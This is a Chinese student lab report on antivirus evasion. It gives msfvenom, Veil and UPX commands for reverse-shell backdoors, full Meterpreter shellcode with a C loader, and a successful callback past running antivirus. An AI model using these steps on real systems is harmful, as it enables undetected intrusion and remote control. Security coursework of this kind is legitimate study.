首页 > 其他分享 > Exp3-免杀原理

Exp3-免杀原理

时间:2023-03-30 20:22:16浏览次数:65  
标签:x68 exe 免杀 Exp3 xff x8b 原理 x00 veil

目录

一、基础问题回答

1、杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。

2、免杀是做什么的?

  • 为了不被杀毒软件所检测,对恶意软件做处理。

3、免杀的基本方法有哪些?

  • 改变特征码:加壳,用encode进行编码,基于payload重新编译生成可执行文件,用其他语言进行重写再编译(veil-evasion)
  • 改变行为:尽量使用反弹式连接,使用隧道技术,加密通讯数据,基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码,使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

4. 开启杀软能绝对防止电脑中恶意代码吗?

不能。本次实验中就产生了杀软也无法检测出来的后门程序,并用其获取了主机权限。

二、实践过程记录

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

1.1 得到kali的ip地址192.168.136.129

1.2 检验直接生成的后门exe文件(实验二中的后门程序)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 PORT=1315 -f exe > 20201315backdoor.exe
用免杀测试平台测试:https://www.virustotal.com
测试结果如下:

1.3 使用Unicode编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.136.129 LPORT=1315 -f exe > 20201315backdoor1.exe

测试结果如下:

1.4 编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.136.129 LPORT=1315 -f exe > 20201315_backdoor2.exe

测试结果如下:

1.5 利用php格式文件检测

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=1315 x> 20201315_backdoor_php.php

测试结果如下:

1.6 利用jar文件检测

msfvenom -p java/shell_reverse_tcp LHOST=192.168.136.129 LPORT=1315 -f jar > 20201315_backdoor_jar.jar

测试结果如下:

2、 veil

2.1安装veil-evasion

sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh

需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为

sudo git clone https://gitee.com/spears/VeilDependencies.git

修改成功后,输入veil

安装相关模块

安装成功

2.2 利用加壳工具产生后门软件

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.136.129
set LPORT 1315
generate

输入文件名字20201315veil

生成的文件路径为/var/lib/veil/output/compiled/20201315veil.exe

检测结果为

2.3 免杀加壳尝试

upx 20201315veil.exe -o 20201315_veil_upx.exe

3、使用C + shellcode编程

使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=1315 -f c

得到的shellcode为

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x88\x81\x68\x02"
"\x00\x05\x23\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

编辑C文件 vim shellcode_c.c,输入上方的代码以及

int main()
{  
    int (*func)() =(int(*)())buf;
    func();
}

编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

4、通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

veil
use evasion
List
use python/shellcode_inject/aes_encrypt.pygenerate
2
回车
192.168.136.129
1315
回车

5、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用Windows主机做测试,杀毒软件为联想杀毒plus,版本为16.0,前面生成的后门程序20201315_veil_upx.exe不会被杀毒软件查杀。

Windows主机运行ncat.exe -lv 1315> 20201315_veil_upx.exe

Kali运行nc 192.168.31.35 1315 < 20201315_veil_upx.exe

文件20201315_veil_upx.exe传输成功

没把可执行文件添加到隔离区,扫描后未发现威胁

再kali打开msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.113.130
set LPORT 1203
exploit

然后再windows中执行20201315_veil_upx.exe。成功回连,获取到Windows的shell,并尝试执行了ls与dir命令。

杀毒软件未发生异常

三、遇到的问题

多次输入/usr/share/veil/config/setup.sh --force --silent仍然安装失败

解决方法;参考https://zhuanlan.zhihu.com/p/108958229

运行下面代码解决

dpkg --add-architecture i386 
apt-get update 
apt-get install wine32

四、实践总结与体会

​ 这次实验在veil的安装上遇到了一些问题,花了一些时间,但在查询相关资料后还是成功解决了,这次实验整体做下来还算顺利。上次实验是在杀软关闭的情况下完成的,而这次实验最后竟然绕过了杀软完成了攻击,这进一步提高了我的安全意识,杀软并非百分百可靠的。

标签:x68,exe,免杀,Exp3,xff,x8b,原理,x00,veil
From: https://www.cnblogs.com/moonyecho/p/17274186.html

相关文章

  • Exp3-免杀原理 实验报告—20201229赵斌
    免杀原理与实践基础问题回答Q1:杀软是如何检测出恶意代码的?(1)基于特征码的检测特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特......
  • 原理和解决
          ......
  • 网络对抗实验三 免杀原理与实践
    目录《网络对抗技术》——Exp3免杀原理与实践1.1实践目标1.2基础知识任务一:正确使用免杀工具或技巧1.正确使用msf编码器2.msfvenom生成如jar之类的其他文件3.使用veil-e......
  • MobTech MobLink|场景分享的原理
    MobLink场景分享的原理是基于深度链接(Deeplinking)的技术,即在Web和App之间建立一个可跟踪的链接,可以携带参数和状态信息,实现从Web到App的无缝跳转和场景还原。深度链接有两种......
  • Exp3-免杀原理
    一、基础问题回答1.杀软是如何检测出恶意代码的?杀软检测恶意代码共有三种方法:1.基于特征码的检测。简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分......
  • Exp3-免杀原理
    Exp3-免杀原理实验基础问题回答1杀软是如何检测出恶意代码的?(1)检测特征码人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特......
  • 5.join原理及用法
    join用法及原理Sql查询的基本原理表查询的分类单表查询根据WHERE条件过滤表中的记录,然后根据SELECT指定的列返回查询结果两表连接查询使用ON条件对两表进......
  • 《网络对抗技术》——Exp3 免杀原理与实践
    一、实践内容1.1实践要求1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件2、veil,加壳工具3、使用C+shellcode编程4、通过组合应用各种技术实现恶意代码......
  • 分布式技术原理与算法解析 04 - 存储&高可靠
    分布式存储分布式数据复制技术常用于数据备份同步复制技术注重一致性,用户请求更新数据库时,主数据库要同步到备数据库后才结束阻塞返回给用户异步复制技术注重可用......
  • synchronized锁升级底层原理
    今天我们来聊聊Synchronized里面的各种锁:偏向锁、轻量级锁、重量级锁,以及三个锁之间是如何进行锁膨胀的。先来一张图来总结提前了解知识锁的升级过程锁的状态总共有四种:无......